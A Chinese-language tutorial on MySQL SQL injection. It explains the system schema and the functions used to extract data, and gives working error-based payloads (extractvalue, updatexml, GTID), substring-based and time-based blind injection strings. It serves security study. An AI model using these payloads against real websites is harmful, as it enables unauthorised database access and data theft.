★★实战前置声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
1、MySQL数据库构成
初始化安装MySQL数据库后(基于MySQL版本5.7.x),默认会创建4个系统数据库:
# 默认自带4个系统数据库
information_schema
mysql
performance_schema
sys
# 查库/表/字段名
information_schema
|__schemata # 所有数据库的名字
|__schema_name # 数据库名
|__tables # 所有表的名字
|__table_schema # 表所属数据库的名称
|__table_name # 表的名字
|__columns # 所有字段的名字
|__table_schema # 字段所属数据库的名字
|__table_name # 字段所属表的名字
|__column_name # 字段的名字
2、SQL注入常用函数使用说明
以下内容基于MySQL数据库。
2.1、系统函数
system_user() # 系统用户名
user() # 用户名
current_user() # 当前用户名
session_user() # 连接数据库的用户名
database() # 数据库名
version() # 数据库版本
load_file() # 转成16进制或10进制MySQL读取本地文件的函数
@@datadir # 读取数据库路径
@@basedir # 安装路径
@@version_compile_os # 数据库安装所在的操作系统
2.2、报错函数
2.2.1、extractvalue()
extractvalue(xml_frag, xpath_expr)
接收两个字符串参数,xml_frag表示XML标记片段,xpath_expr表示XPath表达式,也称为定位器,返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。第一个参数可以传入目标xml文档,第二个参数是用XPath路径法(示例:/a/b)表示的查找路径。如果XPath格式语法错误就会报错。SQL注入就是利用这个特性。
# 正常查询不报错
select extractvalue('<a></a>','/a/b');
# XPath格式语法错
select extractvalue('<a></a>','~');
# 报错信息
> 1105 - XPATH syntax error: '~'
SQL注入可以使用使用~
的ascii码值0x7e
拼接报错获取到想到的数据
字符型: 'and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))='1
数字型: and (extractvalue(1,concat(0x7e,(select user()),0x7e)))=1
2.2.2、updatexml()
updatexml(xml_doc, XPath_str, new_value)
参数一是String格式,XML文档对象名称,参数二:XPath格式语法(示例:/a/b),参数三是String格式,替换查找到的符合条件的数据。
字符型: 'and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))='1
数字型: and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))=1
2.2.3、GTID
GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的。GTID_SUBSET(set1, set2 ) 在set1中的GTID也在set2中,否则返回false(set1是set2的子集),GTID_SUBTRACT(set1, set2)返回在set1中,不在set2中的GTID集合(set1和set2的差集)。
# 查询报错
select GTID_SUBSET(user(),1);
select GTID_SUBTRACT(user(),1);
# 报错信息
> Malformed GTID set specification 'root@localhost'.
SQL注入拼接
'-GTID_SUBSET(user(),1)-'
# 或
'-GTID_SUBTRACT(user(),1)-'
2.3、截取函数
2.3.1、left
left(Str, index) ,参数一:待截取的字符串,参数二:从左边开始共截取多少位,举例:数据库名:security,
left(database(),1) ='s' # 结果:1-true, 0-false
left(database(),2) ='se' # 结果:1-true, 0-false
SQL注入时可以配合Burp Suite,快速爆破数据库名。
2.3.2、mid
mid(Str, start [, length]),参数一:必须,待截取的字符串,参数二:必须,起始值(从1开始),参数三:可选,要截取的长度,没传值则是参数的长度。
mid(database(),1,1) ='s' # 结果:1-true, 0-false
功能同left。
2.3.3、substr
substr()和substring()函数功能一样,都为截取字符串。substr(Str, start [, length])和substring(Str, start [, length]) 两个函数,参数一样。参数一:必须,待截取的字符串,参数二:必须,起始值(从1开始),参数三:可选,要截取的长度,没传值则是参数的长度。举例:数据库名:security,
substr(database(),1,1) ='s' # 结果:1-true, 0-false
substring(database(),1,1) ='s' # 结果:1-true, 0-false
2.4、判断函数
2.4.1、if
if(a, b, c)
当a 为真时执行b; a为假时执行c。常用在时间盲注 and+if(1=1, sleep(1), sleep(5))--+
2.4.2、case when
case when 条件 then 正确的结果 else 错误的结果 end
2.5、其他函数
2.5.1、ascii
ascii(str)
返回字符串的ascii码,在SQL注入中经常结合substr()函数一起使用,举例:数据库名:security,
select ascii(substr(database(),1,1));
# 查询结果是 115, s的ascii码是115
ASCII码转换和对照查询表:https://www.ghostgroup.cn/ascii/ascii.html
2.5.2、length
length(str)
返回字符串的字节长度,举例:数据库名:security,
select length(database());
# 查询结果是 8
2.5.3、hex
hex(str)返回字符串的十六进制,在URL不可以出现@等特殊字符时可以该函数进行转换,再通过在线网站转换回来
select hex(user());
# 查询结果值
726F6F74406C6F63616C686F7374
到在线工具类网站:https://www.tomeko.net/online_tools/hex_to_ascii.php?lang=en
转换得到结果